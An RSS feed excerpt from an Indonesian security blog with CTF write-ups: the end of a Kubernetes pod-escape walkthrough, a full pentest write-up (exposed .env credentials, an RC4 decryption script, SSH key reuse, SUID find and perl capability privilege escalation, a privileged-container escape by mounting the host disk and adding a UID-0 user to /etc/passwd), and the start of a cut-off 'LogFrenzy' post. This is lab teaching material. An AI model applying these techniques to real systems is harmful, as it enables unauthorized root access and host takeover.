<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="742" height="296" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png" alt="" class="wp-image-578" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png 742w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17-300x120.png 300w" sizes="auto, (max-width: 742px) 100vw, 742px" /></figure>



<p>Gambar diatas kita melakukan create pods baru melalui file yaml yang kita buat kemudian kita melihat pods ada 3 dengan salah satu namanya yaitu &#8220;privesc&#8221;, yang mengindikasikan jika kita berhasil membuat pods baru, langkah selanjutnya kita exec dan masuk pada pods privesc dan cek directory /tmp/main-host/</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png" alt="" class="wp-image-579" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18.png 1106w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada directory main-host jika kita ls maka akan menampilkan filesystem dari main host yang dimana sesuai dari petunjuk challenge jika flag berada pada directory /root/root.txt</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1018" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png" alt="" class="wp-image-580" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png 1018w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-768x356.png 768w" sizes="auto, (max-width: 1018px) 100vw, 1018px" /></figure>



<p>Dan kita berhasil mendapatkan root flag <strong><em>bhitech{m3m4nG_b3N3R4N_h4ck3r_buk4N_ScRiPt_Kidd13S}</em></strong></p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>Kita berhasil menyelesaikan challenge dan mendapatkan root flag, disini kita bisa mengambil kesimpulan jika sesuatu yang kelihatan sepele seperti exploit OJS dengan melakukan lateral movement yang tepat bisa compromise atau takeover system sepenuhnya dan bayangkan saja jika terjadi di real world pada machine production maka akan sangat fatal sekali. Disini Bhineka Tech juga memberikan edukasi terkait OJS ini dan sekaligus mengangkat tema peretasan yang terkait dengan judi online karena banyak sekali platform dan website indonesia ini yang masih rentan tersusupi landing page dan backlink perjudian, semoga menambah insight dan memberikan awareness kepada peggiat di bidang ini khususnya cybersecurity.</p>



<p><em>&#8220;Jangan pernah menganggap belajar sebagai tugas, tetapi anggaplah sebagai kesempatan berharga untuk mempelajari sesuatu.&#8221;</em> &#8211; <strong>Albert Einstein</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bhitech Pentesting + Container Escape</title>
		<link>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 31 Dec 2024 14:07:23 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=463</guid>

					<description><![CDATA[<p>Halo semuanyaa jumpa lagi denganku, jadi pada kesempatan kali ini aku akan membahas WriteUp dari challenge Bhineka Tech mengenai pentesting dan kebetulan tulisan ini dibuat di akhir tahun jadi sekalian sebagai penutup dan juga selamat nataru bagi yang merayakan semoga di tahun 2025 nanti kita menjadi pribadi yang lebih baik lagi dari sebelumnya. Jadi tanpa [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/">Bhitech Pentesting + Container Escape</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo semuanyaa jumpa lagi denganku, jadi pada kesempatan kali ini aku akan membahas WriteUp dari challenge Bhineka Tech mengenai pentesting dan kebetulan tulisan ini dibuat di akhir tahun jadi sekalian sebagai penutup dan juga selamat nataru bagi yang merayakan semoga di tahun 2025 nanti kita menjadi pribadi yang lebih baik lagi dari sebelumnya.</p>



<p>Jadi tanpa berlama lama langsung saja kita baca deskripsi dari challenge </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e375aeea2e5053ee436f601353fccc0c"><code>Pentesting Challenge

host: &#91;redacted]
level: bisa dibilang easy
format flag: bhitech{}

Description:
Kamu diberikan suatu alamat IP address dan kamu ditugaskan untuk melakukan penetration testing dan hacking pada server, yang dimana hasil akhirnya mendapatkan suatu flag yang disimpan pada directory /root.
jadi pada challenge ini kita dipaksa untuk memahami hacking anatomy atau phase dari hacking mulai dari recon(mengumpulkan informasi), privilege escalation untuk mendapatkan root akses hingga covering track yang tentunya kamu bakal banyak belajar dari challenge ini

note:
untuk teman teman yang mengerjakan challenge ini dimohon tidak merusak apapun pada server karena memang sengaja dibuat vulnerable, meskipun berjalan pada safe environtment tetap saja merusak server yang dibuat challenge tidak ada bedanya kalian dengan para script kiddies diluar sana</code></pre>



<p>Dari deskripsi yang kita baca, diberikan suatu IP address dan format flag yang dimana kita diharuskan untuk melakukan penetration testing pada server hingga mendapatkan akses root atau melakukan privilege escalation karena flag disimpan pada directory /root</p>



<p>Mulai dengan reconnaissance yakni teknik yang digunakan attacker untuk mengumpulkan informasi tentang target yang akan di serang. Langsung saja menggunakan nmap untuk port discovery</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="489" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-1024x489.png" alt="" class="wp-image-465" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-1024x489.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-300x143.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-768x367.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menarik karena ada beberapa port yang terbuka atau service yang running diantaranya ada <strong>HTTP</strong>, <strong>SSH </strong>dan <strong>DBMS</strong> yang menggunakan <strong>postgresql </strong>dan untuk identifikasi awal kita akan melakukan scanning pada service <strong>HTTP</strong> </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1024x472.png" alt="" class="wp-image-466" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1024x472.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-768x354.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1536x708.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832.png 1905w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jika kita buka pada browser, tampilan awal pada website tidak asing yang merupakan default page dari framework codeigniter 4 yang dimodifikasi sedikit dan disini kita akan melakukan directory enumeration yang bertujuan untuk menemukan hidden directory ataupun file yang ada pada server</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="661" height="581" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230.png" alt="" class="wp-image-467" style="width:836px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230.png 661w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230-300x264.png 300w" sizes="auto, (max-width: 661px) 100vw, 661px" /></figure>



<p>Menggunakan dirsearch dan menemukan file yang menarik yaitu .env, .env sendiri merupakan file yang berisi konfigurasi utama dan sensitive information pada framework codeigniter 4 yang seharusnya tidak boleh diakses tetapi jika developer melakukan misconfiguration hal ini mengakibatkan file .env dapat diakses yang dimana kerentan ini dikenal dengan <em><strong>Information Disclosure</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="645" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-1024x645.png" alt="" class="wp-image-468" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-1024x645.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-300x189.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-768x484.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847.png 1026w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita mendapatkan credential database server dari .env file dan seperti yang kita tahu sebelumnya dari nmap scanning jika port 5432 terbuka atau di expose ke public. karena dbms pada server memakai <strong><em>postgresql</em></strong> jadi disini kita akan memakai psql client untuk connect dan melakukan remote database via CLI(command line interface)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-1024x549.png" alt="" class="wp-image-471" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-768x412.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql.png 1128w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat kita berhasil login dan masuk pada database <em><strong>db_project</strong></em> dimana terdapat table secret yang menarik perhatian  </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="69" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-1024x69.png" alt="" class="wp-image-472" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-1024x69.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-300x20.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-768x52.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745.png 1209w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kemudian menggunakan SQL query yaitu <em><strong>SELECT * FROM secret</strong></em> untuk menampilkan semua data pada table secret, yang sepertinya berisi suatu encrypted text dan terdapat keterangan pada field type_enc dan description yang intinya untuk mendapatkan plaintext kita harus melakukan decrypting dengan type cipher rc4. </p>



<p>langsung saja buat script python sederhana menggunakan module <em><strong>PyCryptodome </strong></em>yang merupakan package pada python yang menangani operasi cryptography atau bisa juga kita memakai openssl sebagai alternatif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-d871588a075d003b32b22ef760a132d2"><code>from Crypto.Cipher import ARC4
import base64

username_enc = base64.b64decode(b"iayFvJMqnA==")
password_enc = base64.b64decode(b"iraP/Kkgh69PNS33dCW/LsrchsUZ8w==")
path_enc = base64.b64decode(b"xLaJpZMklpVbbzDNcjm5KOzNlsEf8w0=")

key = bytes.fromhex("737db1fbe47e92be8897a0bc4a1afa39")
cipher = ARC4.new(key)
username_dec = cipher.decrypt(username_enc)
cipher = ARC4.new(key)
password_dec = cipher.decrypt(password_enc)
cipher = ARC4.new(key)
path_dec = cipher.decrypt(path_enc)

# Hasil decrypting
print("username : " + username_dec.decode('utf-8'))
print("password : " + password_dec.decode('utf-8'))
print("path_dec : " + path_dec.decode('utf-8'))</code></pre>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="437" height="122" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650.png" alt="" class="wp-image-473" style="width:837px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650.png 437w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650-300x84.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>



<p>Disini kita berhasil melakukan decrypt dari ciphertext yang kita dapatkan dan jika kita lihat terdapat field table dengan nama <em><strong>path_dec</strong></em> yang bisa kita asumsikan merupakan suatu hidden directory pada web application</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1024x362.png" alt="" class="wp-image-474" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910.png 1725w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>benar saja jika kita buka dengan menyertakan path <strong>/remember/secret_admin/</strong> maka akan muncul HTTP auth, disini kita bisa masukan username dan password hasil dari decrypt rc4</p>



<p>user: <strong>bhitech </strong>dan pass: <strong>arc4_is_fun_encryption</strong></p>



<p>dan jika berhasil terdapat suatu file dengan nama note.txt </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="674" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-1024x674.png" alt="" class="wp-image-475" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-1024x674.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-300x197.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-768x506.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412.png 1434w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sepertinya merupakan file sensitive / confidential karena terdapat deskripsi singkat tentang SSH dengan username <strong>dono </strong>pada port <strong>2222</strong>, yang dibawahnya string acak dan jika kita lihat lebih detail merupakan suatu private key SSH karena diawali dengan string <em><strong>&#8212;&#8211;BEGIN OPENSSH PRIVATE KEY&#8212;&#8211;</strong></em></p>



<p>jadi disini langsung saja simpan file pada local machine dan kita akan mencoba untuk login SSH pada server dengan methode keypair</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="837" height="380" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907.png" alt="" class="wp-image-476" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907-300x136.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907-768x349.png 768w" sizes="auto, (max-width: 837px) 100vw, 837px" /></figure>



<p>Berhasil login dan mendapatkan user dono dan kemudian disini kita akan mencoba melakukan privilege escalation atau meningkatkan hak akses, dan banyak yang stuck di tahap ini karena beberapa orang fokus ke kernel exploitation dimana langsung melakukan exploit pada kernel dan gagal. padahal sebenarnya kernel exploitation itu sangat tidak disarankan karena dapat membuat machine mengalami kernel panic jika exploit tidak tepat dan alangkah baiknya digunakan untuk opsi terakhir jika tidak ada misconfig atau vulnerable lain pada OS.</p>



<p>Disini untuk automation enumeration bisa make linepeas dan ditemukan beberapa hal yang menarik yang bisa kita manfaatkan untuk privilege escalation yaitu terdapat 2 misconfiguration pada SUID binary dan capabilities</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-1024x207.png" alt="" class="wp-image-479" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-1024x207.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-768x155.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738.png 1219w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="828" height="370" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl.png" alt="" class="wp-image-481" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl.png 828w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl-300x134.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl-768x343.png 768w" sizes="auto, (max-width: 828px) 100vw, 828px" /></figure>



<p>Disini linepeas melakukan highlight pada binary yang mempunyai kesalahan konfigurasi yaitu pertama <em><strong>SUID </strong></em>binary yang terdapat pada binary <em><strong>find</strong></em> dan kedua binary yang mempunyai capabilities <strong><em>cap_setuid</em></strong></p>



<p>Secara sederhana SUID atau set user id merupakan permission yang memungkinkan user lain melakukan eksekusi dengan privilege owner yang memiliki binary tersebut, dalam kasus ini find dimiliki oleh root jadi kita bisa melakukan eksekusi find menggunakan hak akses root lalu kedua capabilities itu merupakan kemampuan yang dimiliki oleh suatu binary dalam kasus kita perl memiliki capabilities <em><strong>cap_setuid=ep</strong></em> artinya binary <em><strong>perl </strong></em>atau process yang menajalankan <em><strong>perl</strong></em> dapat melakukan penggantian uid ke user lain dan dalam linux uid root mempunyai nomor 0 jadi dengan mudah kita bisa melakukan manipulasi UID ke root</p>



<p>jadi disini aku akan mencontohkan bagaimana melakukan privilege escalation dari keduanya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1017" height="344" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846.png" alt="" class="wp-image-482" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846.png 1017w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846-300x101.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846-768x260.png 768w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /></figure>



<p>Yaps sangat mudah sekali untuk melakukan privilege escalation dimana disini memanfaatkan misconfig dari kedua binary jadi langsung saja kita baca flag pada directory /root</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="737" height="333" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229.png" alt="" class="wp-image-483" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229.png 737w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229-300x136.png 300w" sizes="auto, (max-width: 737px) 100vw, 737px" /></figure>



<p>flag: bhitech{p3ntest1ng_itu_s3ru!}</p>



<p class="has-large-font-size"><strong>Container Escape</strong></p>



<p>Sebenarnya disini kita sudah mendapatkan flag dan challenge berakhir tapi ada tambahan sedikit yaitu kemaren salah satu member Bhineka Tech berhasil melakukan <em><strong>Container Escaping</strong></em> dimana attacker bisa keluar dari container dan mendapatkan akses pada main host hal ini sangat berbahaya karena tujuan dibuatkan suatu container untuk melakukan isolated agar host utama tidak terkena compromised </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="587" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-1024x587.png" alt="" class="wp-image-485" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-1024x587.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-300x172.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-768x440.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Singkatnya seperti itu, yang pada dasarnya ini sudah diluar dari scope challenge tapi sangat menarik jika kita bahas. jadi pada challenge ini aku sendiri yang melakukan build dan konfigurasi dimana pada saat running container dari docker aku menambahkan flag &#8211;privileged untuk keperluan hak akses yang sebenarnya hal ini sangat berbahaya karena kita memberi akses penuh ke container dan menghapus semua batasan security default.</p>



<p>Tekniknya sendiri dengan melakukan mounting filesystem pada host utama ke directory /mnt pada container, karena container dijalankan dengan misconfig &#8211;privileged artinya attacker mendapatkan privilege untuk melihat host drive</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="560" height="209" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841.png" alt="" class="wp-image-486" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841.png 560w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841-300x112.png 300w" sizes="auto, (max-width: 560px) 100vw, 560px" /></figure>



<p>lsblk untuk melihat block device dan partisi pertama ada di vda1 dengan command <strong><em>mount /dev/vda1 /mnt/filesystem</em></strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="568" height="404" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124.png" alt="" class="wp-image-487" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124.png 568w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124-300x213.png 300w" sizes="auto, (max-width: 568px) 100vw, 568px" /></figure>



<p>Terlihat mount berhasil dilakukan dan kita dapat melihat dan modifikasi filesystem pada main host dimana jika kita ingin melakukan escape dan takeover pada main host tinggal kita tambahkan user baru pada file /mnt/filesystem/etc/passwd, karena ini mount point maka akan berpengaruh pada filesystem di main host</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-1024x552.png" alt="" class="wp-image-488" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow.png 1091w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita langsung menambahkan user baru pada passwd file dengan username heker dengan UID 0 atau root beserta password yang digenerate menggunakan openssl dengan string <em><strong>heker123</strong></em>, untuk login ke host utama kita perlu tau port ssh yang digunakan dimana pada hasil nmap scan tadi terdapat 2 SSH port yaitu 22 dan 2222 yang bisa kita asumsikan main host menggunakan port 22 untuk SSH login</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="825" height="522" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932.png" alt="" class="wp-image-489" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932.png 825w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932-300x190.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932-768x486.png 768w" sizes="auto, (max-width: 825px) 100vw, 825px" /></figure>



<p>Viola, kita berhasil melakukan container escape dan mendapatkan akses ke host utama.</p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>challenge ini dibuat dengan tidak memanfaatkan exploit dari CVE/public dimana fokus untuk mendapatkan initial access fokusnya dari misconfiguration jadi untuk yang mengerjakan challenge ini diharapkan untuk lebih memahami attack vector pada saat melakukan pentesting yang dimana misconfiguration itu sangat berbahaya jika dapat dimanfaatkan lebih jauh, dan mungkin itu saja sekian dan selamat tahunn baru semoga bermanfaat <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em>&#8220;Jika itu penting bagi Anda, Anda akan menemukan jalan. Jika tidak, Anda akan menemukan alasan.&#8221;</em> &#8211; <strong>Ryan Blair</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/">Bhitech Pentesting + Container Escape</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Logfrenzy WriteUp bhitech &#8211; challenge</title>
		<link>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 15 Nov 2024 20:30:20 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=352</guid>

					<description><![CDATA[<p>Sebenarnya challenge ini dibuat dari ide teman saya yang kebetulan juga saya ikut membantu dalam proses development dan deployment dimana challenge ini terkait dengan Web Exploitation dan Cryptography jadi langsung saja Bisa dibaca pada deskripsi untuk lebih jelas dan intinya pada deskripsi diberikan suatu clue yaitu regex dan analysis. Jika kita masuk pada halaman login [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/">Logfrenzy WriteUp bhitech &#8211; challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Sebenarnya challenge ini dibuat dari ide teman saya yang kebetulan juga saya ikut membantu dalam proses development dan deployment dimana challenge ini terkait dengan Web Exploitation dan Cryptography jadi langsung saja</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1024x402.png" alt="" class="wp-image-353" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1024x402.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-300x118.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-768x302.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1536x603.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140.png 1825w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-62309e10b1e9dcd51baa510e1739b84d"><code>LogFrenzy &#x1f575;&#x200d;&#x2642;&#x1f4bb;

Selamat datang di LogFrenzy, tantangan seru untuk menguji kemampuan analisis log dan regex! &#x1f50d; Di sini, peserta akan dihadapkan pada log penuh petunjuk tersembunyi. Tugasnya? Teliti, bongkar pola, pecahkan regex, dan temukan flag yang tersembunyi! &#x1f3c6;

Kecepatan dan ketelitian adalah kunci, tapi kreativitas dalam memecahkan masalah juga sangat diperlukan. Siap untuk tantangan ini di LogFrenzy? &#x1f4a5;

Level: Medium
Kategori: Web Exploitation &amp; Cryptography
Hadiah (First Solved): Rp 30.000 &#x1f3c5;

URL Challenge: 
